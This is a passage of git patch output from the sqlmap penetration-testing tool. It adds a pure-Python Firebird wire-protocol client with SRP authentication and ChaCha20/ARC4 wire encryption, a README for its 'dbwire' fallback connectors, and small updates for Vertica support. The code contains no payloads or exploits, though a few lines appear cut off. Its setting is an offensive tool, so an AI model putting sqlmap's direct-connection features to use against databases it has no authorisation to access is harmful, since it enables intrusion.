HTTP/REST (JSON) | Presto, Trino | + +The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector +tier order is: native driver, then SQLAlchemy, then dbwire. + +## Interface + +Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset: + +- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection` +- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()` +- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount` +- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` -> + `OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` / + `NotSupportedError`) + +It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string +(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so +that sqlmap renders them as hex. + +## Scope and limitations + +This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement +parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes: + +- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication. +- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full + `caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not + supported; use a `mysql_native_password` account for the dependency-free path. +- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database) + require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. +- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by + default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented. + +When a case is not supported, the client raises a clear `NotSupportedError` rather than returning +wrong data, so `-d` cleanly falls through to another connector tier where possible. + +--- + +Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission. diff --git a/extra/dbwire/firebird.py b/extra/dbwire/firebird.py new file mode 100644 index 00000000000..0e1c8ec5afb --- /dev/null +++ b/extra/dbwire/firebird.py @@ -0,0 +1,838 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql). + +Speaks the Firebird v13-17 protocol (Firebird 3/4/5): op_connect, SRP-256 authentication, ChaCha20 (or +Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare / +execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes +a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them). +""" + +import datetime +import hashlib +import os +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import IntegrityError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError + +# operation codes +_op_connect = 1 +_op_accept = 3 +_op_reject = 4 +_op_response = 9 +_op_attach = 19 +_op_detach = 21 +_op_transaction = 29 +_op_commit_retaining = 50 +_op_rollback_retaining = 86 +_op_get_segment = 36 +_op_close_blob = 39 +_op_open_blob2 = 56 +_op_allocate_statement = 62 +_op_execute = 63 +_op_fetch = 65 +_op_fetch_response = 66 +_op_free_statement = 67 +_op_prepare_statement = 68 +_op_info_sql = 70 +_op_dummy = 71 +_op_cont_auth = 92 +_op_crypt = 96 +_op_accept_data = 94 +_op_cond_accept = 98 + +# CNCT parameter codes +_CNCT_user = 1 +_CNCT_host = 4 +_CNCT_user_verification = 6 +_CNCT_specific_data = 7 +_CNCT_plugin_name = 8 +_CNCT_login = 9 +_CNCT_plugin_list = 10 +_CNCT_client_crypt = 11 + +# database / transaction parameter block items +_isc_dpb_version1 = 1 +_isc_dpb_user_name = 28 +_isc_dpb_lc_ctype = 48 +_isc_dpb_process_id = 71 +_isc_dpb_process_name = 74 +_isc_tpb_version3 = 3 +_isc_tpb_wait = 6 +_isc_tpb_write = 9 +_isc_tpb_read_committed = 15 +_isc_tpb_rec_version = 17 + +# isc_info_sql_* describe items +_isc_info_end = 1 +_isc_info_truncated = 2 +_isc_info_sql_select = 4 +_isc_info_sql_describe_vars = 7 +_isc_info_sql_describe_end = 8 +_isc_info_sql_sqlda_seq = 9 +_isc_info_sql_type = 11 +_isc_info_sql_sub_type = 12 +_isc_info_sql_scale = 13 +_isc_info_sql_length = 14 +_isc_info_sql_null_ind = 15 +_isc_info_sql_field = 16 +_isc_info_sql_relation = 17 +_isc_info_sql_owner = 18 +_isc_info_sql_alias = 19 +_isc_info_sql_sqlda_start = 20 +_isc_info_sql_stmt_type = 21 +_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([ + _isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq, + _isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length, + _isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner, + _isc_info_sql_alias, _isc_info_sql_describe_end])) + +_isc_info_sql_stmt_select = 1 +_DSQL_drop = 2 + +# SQL type codes +_SQL_VARYING = 448 +_SQL_TEXT = 452 +_SQL_DOUBLE = 480 +_SQL_FLOAT = 482 +_SQL_LONG = 496 +_SQL_SHORT = 500 +_SQL_TIMESTAMP = 510 +_SQL_BLOB = 520 +_SQL_TIME = 560 +_SQL_DATE = 570 +_SQL_INT64 = 580 +_SQL_INT128 = 32752 +_SQL_TIMESTAMP_TZ = 32754 +_SQL_TIME_TZ = 32756 +_SQL_BOOLEAN = 32764 +_SQL_TYPE_LENGTH = { # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1) + _SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4, + _SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16, + _SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1, +} +# per-type output BLR fragment used to describe the fetched row (see calc_blr) +_SQL_TYPE_BLR = { + _SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35], + _SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29], +} + +# status-vector argument tags +_isc_arg_end = 0 +_isc_arg_gds = 1 +_isc_arg_string = 2 +_isc_arg_number = 4 +_isc_arg_interpreted = 5 +_isc_arg_sql_state = 19 +_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558)) +_GDS_DATA = frozenset((335544321,)) +_GDS_WARNING = 335544434 + +# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2) +_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE" + "BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F" + "1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16) +_SRP_g = 2 +_SRP_k = 1277432915985975349439481660349303019122249719989 + +def _minbe(n): + # minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes) + out = bytearray() + while n > 0: + out.insert(0, n & 0xff) + n >>= 8 + return bytes(out) + +def _b2l(b): + n = 0 + for c in bytearray(b): + n = (n << 8) | c + return n + +def _sha1(*parts): + h = hashlib.sha1() + for p in parts: + h.update(p if isinstance(p, bytes) else _minbe(p)) + return h.digest() + +def _srp_client_seed(): + a = _b2l(os.urandom(16)) # client private key (128-bit) + return pow(_SRP_g, a, _SRP_N), a + +def _srp_client_proof(user, password, salt, A, B, a, hash_algo): + # session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256) + u = _b2l(_sha1(_minbe(A), _minbe(B))) + x = _b2l(_sha1(salt, _sha1(user, b":", password))) + S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N) + K = _sha1(_minbe(S)) + n1 = _b2l(_sha1(_minbe(_SRP_N))) + n2 = _b2l(_sha1(_minbe(_SRP_g))) + n1 = pow(n1, n2, _SRP_N) # NOTE: modular exponentiation, not XOR (Firebird quirk) + n2 = _b2l(_sha1(user)) + h = hash_algo() + for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K): + h.update(p) + return h.digest(), K + +class _ARC4(object): + def __init__(self, key): + s = list(range(256)) + key = bytearray(key) + j = 0 + for i in range(256): + j = (j + s[i] + key[i % len(key)]) & 0xff + s[i], s[j] = s[j], s[i] + self._s, self._i, self._j = s, 0, 0 + + def translate(self, data): + s, i, j, out = self._s, self._i, self._j, bytearray() + for c in bytearray(data): + i = (i + 1) & 0xff + j = (j + s[i]) & 0xff + s[i], s[j] = s[j], s[i] + out.append(c ^ s[(s[i] + s[j]) & 0xff]) + self._i, self._j = i, j + return bytes(out) + +class _ChaCha20(object): + _SIGMA = b"expand 32-byte k" + + def __init__(self, key, nonce): + self._nonce = nonce + self._counter = 0 + block = self._SIGMA + key + self._ctr_bytes() + nonce + self._state = list(struct.unpack("<16L", block)) + self._make_block() + + def _ctr_bytes(self): + return struct.pack("> (32 - n))) & 0xffffffff + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12) + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7) + + def translate(self, data): + out = bytearray() + block = bytearray(self._block) + for c in bytearray(data): + out.append(c ^ block[self._pos]) + self._pos += 1 + if self._pos == 64: + self._counter += 1 + cb = self._ctr_bytes() + self._state[12] = struct.unpack(" (plugin, nonce) + plugins, nonces, buf, i = [], [], bytearray(buf), 0 + while i < len(buf): + t, ln = buf[i], buf[i + 1] + v = bytes(buf[i + 2:i + 2 + ln]) + i += 2 + ln + if t == 1: + plugins = v.split() + elif t == 3: + nonces.append(v) + if b"ChaCha64" in plugins: + for s in nonces: + if s[:9] == b"ChaCha64\x00": + return b"ChaCha64", s[9:] + if b"ChaCha" in plugins: + for s in nonces: + if s[:7] == b"ChaCha\x00": + return b"ChaCha", s[7:7 + 12] + if b"Arc4" in plugins: + return b"Arc4", None + return None, None + +class _Wire(object): + def __init__(self, sock): + self._sock = sock + self._rc = self._wc = None + + def set_ciphers(self, rc, wc): + self._rc, self._wc = rc, wc + + def send(self, data): + self._sock.sendall(self._wc.translate(data) if self._wc else data) + + def _recv_raw(self, n): + buf = b"" + while len(buf) < n: + chunk = self._sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + + def recv(self, n, align=False): + total = n + ((4 - n % 4) % 4) if align else n + data = self._recv_raw(total) + if self._rc: + data = self._rc.translate(data) + return data[:n] + + def recv_int(self): + return struct.unpack("!i", self.recv(4))[0] + + def recv_bytes(self): + return self.recv(self.recv_int(), align=True) + + def close(self): + try: + self._sock.close() + except Exception: + pass + +def _pack_int(v): + return struct.pack("!i", v) + +def _pack_bytes(v): + return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4) + +def _le(b): + n = 0 + for c in reversed(bytearray(b)): + n = (n << 8) | c + return n + +def _le_signed(b): + n = _le(b) # info-buffer scalars are little-endian; scale is signed (usually negative) + if b and (bytearray(b)[-1] & 0x80): + n -= 1 << (8 * len(b)) + return n + +def _b2i_signed(b): + n = _b2l(b) + if bytearray(b) and bytearray(b)[0] & 0x80: + n -= 1 << (8 * len(b)) + return n + +def _scaled(n, scale): + # integer n represents n * 10**scale (scale <= 0); render as an exact decimal string + if scale >= 0: + return str(n * (10 ** scale)) + digits = "%0*d" % (-scale + 1, abs(n)) + return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:] + +_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal() + +def _decode_date(raw): + return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0]) + +def _decode_time(raw): + n = struct.unpack("!I", raw)[0] + s, frac = divmod(n, 10000) + return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100) + +class _Column(object): + __slots__ = ("name", "sqltype", "subtype", "scale", "length") + + def io_length(self): + return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype] + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, wire, filename, user, password): + self._wire = wire + self._filename = filename + self._user = user + self._password = password + self._db_handle = None + self._trans_handle = None + + def cursor(self): + return Cursor(self) + + def commit(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle)) + self._response() + + def rollback(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle)) + self._response() + + def close(self): + try: + if self._db_handle is not None: + self._send(_pack_int(_op_detach) + _pack_int(self._db_handle)) + self._response() + except Exception: + pass + self._wire.close() + + # ---- wire helpers ---- + + def _send(self, data): + self._wire.send(data) + + def _response(self): + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d" % op) + return self._parse_response() + + def _parse_response(self): + head = self._wire.recv(16) + handle = struct.unpack("!i", head[:4])[0] + object_id = head[4:12] + buf = self._wire.recv(struct.unpack("!i", head[12:16])[0], align=True) + self._check_status() + return handle, object_id, buf + + def _check_status(self): + gds, message = set(), "" + n = self._wire.recv_int() + while n != _isc_arg_end: + if n == _isc_arg_gds: + gds_code = self._wire.recv_int() + if gds_code: + gds.add(gds_code) + elif n == _isc_arg_number: + message += " %d" % self._wire.recv_int() + elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state): + s = self._wire.recv(self._wire.recv_int(), align=True) + if n != _isc_arg_sql_state: + message += " " + s.decode("utf-8", "replace") + n = self._wire.recv_int() + if gds: + message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip() + if gds & _GDS_INTEGRITY: + raise IntegrityError(message) + if gds & _GDS_DATA: + raise DataError(message) + if _GDS_WARNING not in gds: + raise OperationalError(message) + + # ---- query ---- + + def _query(self, query): + try: + return self._run(query) + except (struct.error, IndexError, ValueError, KeyError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _run(self, query): + qbytes = query.encode("utf-8") + self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle)) + stmt = self._response()[0] + + desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS + self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) + + _pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024)) + buf = self._response()[2] + stmt_type, columns = self._parse_describe(stmt, buf) + + exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) + + _pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0)) + self._send(exec_msg) + self._response() + + description, rows = None, [] + if stmt_type == _isc_info_sql_stmt_select and columns: + description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns] + rows = self._fetch(stmt, columns) + self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop)) + self._response() + return description, rows + + def _parse_describe(self, stmt, buf): + stmt_type, columns = None, [] + i = 0 + while i < len(buf): + if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]): + stmt_type = _le(buf[i + 3:i + 7]) + i += 7 + elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]): + i += 2 + ln = _le(buf[i:i + 2]); i += 2 + count = _le(buf[i:i + ln]); i += ln + columns = [_Column() for _ in range(count)] + next_index = self._parse_items(buf[i:], columns) + while next_index > 0: # describe buffer truncated: request the remaining columns + self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes( + bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("> 8] + for c in columns: + t = c.sqltype + if t == _SQL_VARYING: + blr += [37, c.length & 0xff, c.length >> 8] + elif t == _SQL_TEXT: + blr += [14, c.length & 0xff, c.length >> 8] + elif t == _SQL_LONG: + blr += [8, c.scale] + elif t == _SQL_SHORT: + blr += [7, c.scale] + elif t == _SQL_INT64: + blr += [16, c.scale] + elif t == _SQL_INT128: + blr += [26, c.scale] + else: + blr += _SQL_TYPE_BLR[t] + blr += [7, 0] + blr += [255, 76] + return bytes(bytearray((256 + b) if b < 0 else b for b in blr)) + + def _fetch(self, stmt, columns): + blr = self._calc_blr(columns) + nbytes = (len(columns) + 7) // 8 + blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB] + rows = [] + more = True + while more: + self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400)) + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_fetch_response: + if op == _op_response: + self._parse_response() + raise OperationalError("unexpected Firebird operation %d during fetch" % op) + status = self._wire.recv_int() + count = self._wire.recv_int() + while count: + null_bitmap = _le(self._wire.recv(nbytes, align=True)) + row = [] + for i, col in enumerate(columns): + if null_bitmap & (1 << i): + row.append(None) + continue + io = col.io_length() + ln = self._wire.recv_int() if io < 0 else io + raw = self._wire.recv(ln, align=True) + # blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained + # (a blob sub-request mid-batch would interleave with the still-streaming rows and desync) + row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw)) + rows.append(row) + op = self._wire.recv_int() + status = self._wire.recv_int() + count = self._wire.recv_int() + more = status != 100 + for i in blob_cols: + for row in rows: + if row[i] is not None: + row[i] = self._read_blob(row[i], columns[i].subtype) + return [tuple(row) for row in rows] + + def _decode(self, col, raw): + t = col.sqltype + if t == _SQL_TEXT: + return self._decode_text(raw, rstrip=True) + if t == _SQL_VARYING: + return self._decode_text(raw, rstrip=False) + if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128): + n = _b2i_signed(raw) + return _scaled(n, col.scale) if col.scale else str(n) + if t == _SQL_FLOAT: + return repr(struct.unpack("!f", raw)[0]) + if t == _SQL_DOUBLE: + return repr(struct.unpack("!d", raw)[0]) + if t == _SQL_BOOLEAN: + return "true" if bytearray(raw)[0] else "false" + if t == _SQL_DATE: + return "%s" % _decode_date(raw) + if t == _SQL_TIME: + return "%s" % _decode_time(raw) + if t == _SQL_TIMESTAMP: + return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:])) + if t == _SQL_BLOB: + return self._read_blob(raw, col.subtype) + return raw # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes) + + def _decode_text(self, raw, rstrip): + try: + s = raw.decode("utf-8") + except UnicodeDecodeError: + return raw # OCTETS / binary text -> bytes (sqlmap hex-encodes) + return s.rstrip(" ") if rstrip else s + + def _read_blob(self, blob_id, subtype): + self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id) + blob_handle = self._response()[0] + data = b"" + while True: + self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0)) + seg_status, _, buf = self._response() + buf = bytearray(buf) + j = 0 + while j < len(buf): + seg_len = _le(buf[j:j + 2]) + data += bytes(buf[j + 2:j + 2 + seg_len]) + j += 2 + seg_len + if seg_status == 2: # last segment + break + self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle)) + self._response() + if subtype == 1: + try: + return data.decode("utf-8") + except UnicodeDecodeError: + return data + return data + +def _uid(user, plugin, plugin_list, public_key, wire_crypt): + def param(k, v): + if k != _CNCT_specific_data: + return bytes(bytearray([k, len(v)])) + v + out, i = b"", 0 + while len(v) > 254: + out += bytes(bytearray([k, 255, i])) + v[:254] + v = v[254:] + i += 1 + return out + bytes(bytearray([k, len(v) + 1, i])) + v + + try: + os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "") + except Exception: + os_user = "" + specific = _hex(_minbe(public_key)) + r = param(_CNCT_login, user.encode("utf-8")) + r += param(_CNCT_plugin_name, plugin) + r += param(_CNCT_plugin_list, plugin_list) + r += param(_CNCT_specific_data, specific) + r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00") + r += param(_CNCT_user, os_user.encode("utf-8")) + r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace")) + r += param(_CNCT_user_verification, b"") + return r + +def _hex(b): + return "".join("%02x" % c for c in bytearray(b)).encode("ascii") + +# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is +# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles) +_PROTOCOLS = ("0000000a00000001000000000000000300000002", + "ffff800b00000001000000000000000300000004", + "ffff800c00000001000000000000000300000006", + "ffff800d00000001000000000000000300000008", + "ffff800e0000000100000000000000030000000a", + "ffff800f0000000100000000000000030000000c", + "ffff80100000000100000000000000030000000e", + "ffff801100000001000000000000000300000010") + +def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs): + user = user or "SYSDBA" + password = password or "" + filename = (database or "").encode("utf-8") + plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth" + + try: + sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + wire = _Wire(sock) + try: + public_key, private_key = _srp_client_seed() + packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) + + _pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) + + _pack_bytes(_uid(user, plugin, plugin_list, public_key, True))) + for p in _PROTOCOLS: + packet += _unhex(p) + wire.send(packet) + + _authenticate(wire, user, password, public_key, private_key) + connection = Connection(wire, filename, user, password) + _attach(connection, wire, user) + except (DatabaseError, InterfaceError): + wire.close() + raise + except Exception as ex: + wire.close() + raise OperationalError("Firebird login failed (%s)" % ex) + return connection + +def _unhex(s): + return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2))) + +def _normalize_user(user): + if len(user) >= 2 and user[0] == '"' and user[-1] == '"': + return user[1:-1].replace('""', '"') + return user.upper() + +def _authenticate(wire, user, password, public_key, private_key): + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_reject: + raise OperationalError("Firebird connection rejected") + if op == _op_response: + Connection(wire, b"", user, password)._parse_response() # will raise the server error + raise OperationalError("Firebird connection rejected") + + wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off) + if op == _op_accept: + return b"" # plaintext, no encryption negotiated + + data = wire.recv_bytes() + plugin_name = wire.recv_bytes() + wire.recv_int() # is_authenticated + wire.recv_bytes() # keys + if plugin_name not in (b"Srp256", b"Srp"): + raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name) + if not data: + raise OperationalError("Firebird server sent no SRP challenge") + + salt_len = _le(data[:2]) + salt = data[2:2 + salt_len] + # the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length + # hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it) + server_public = int(data[4 + salt_len:].decode("ascii"), 16) + hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1 + proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"), + password.encode("utf-8"), salt, + public_key, server_public, private_key, hash_algo) + + wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) + + _pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b"")) + buf = _read_response(wire, user, password) + + enc_plugin, nonce = _guess_wire_crypt(buf) + if not (enc_plugin and session_key): + raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin") + wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric")) + if enc_plugin in (b"ChaCha", b"ChaCha64"): + k = hashlib.sha256(session_key).digest() + wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce)) + elif enc_plugin == b"Arc4": + wire.set_ciphers(_ARC4(session_key), _ARC4(session_key)) + else: + raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin) + _read_response(wire, user, password) # first encrypted message + return session_key + +def _read_response(wire, user, password): + # a bare op_response reader used during the login handshake (before a Connection exists) + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_cont_auth: + raise OperationalError("Firebird authentication failed") + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d during login" % op) + return Connection(wire, b"", user, password)._parse_response()[2] + +def _attach(connection, wire, user): + dpb = bytearray([_isc_dpb_version1]) + dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8") + ub = user.encode("utf-8") + dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub) + dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack("...) -VERSION = "1.10.7.88" +VERSION = "1.10.7.89" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dad2f02f28caa2df63ca6c53c61e4eb873d9c1b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 13:11:40 +0200 Subject: [PATCH 746/853] Minor update --- extra/dbwire/README.md | 2 +- extra/dbwire/postgres.py | 2 +- lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- 4 files changed, 4 insertions(+), 3 deletions(-) diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md index 85738412958..cadafcf0055 100644 --- a/extra/dbwire/README.md +++ b/extra/dbwire/README.md @@ -20,7 +20,7 @@ A wire protocol is shared across a whole family of products, so one client serve | Module | Protocol | Engines | |-----------------|---------------------|---------| -| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum | +| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica | | `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | | `tds.py` | TDS | Microsoft SQL Server, Sybase | | `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | diff --git a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py index 227fe69547f..9c06bd79e4e 100644 --- a/extra/dbwire/postgres.py +++ b/extra/dbwire/postgres.py @@ -8,7 +8,7 @@ """ Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only). -Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, ...). +Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica). Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the diff --git a/lib/core/dicts.py b/lib/core/dicts.py index c1c2dd907bd..49a75f86b98 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -271,6 +271,7 @@ DBMS.MONETDB: "monetdb", DBMS.PRESTO: "presto", DBMS.FIREBIRD: "firebird", + DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth) } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ diff --git a/lib/core/settings.py b/lib/core/settings.py index a81c94f4830..75754d33509 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.89" +VERSION = "1.10.7.90" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 59933891e08f784f823c034cdc157cd1e051515e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 13:37:04 +0200 Subject: [PATCH 747/853] Adding CUBRID to dbwire --- 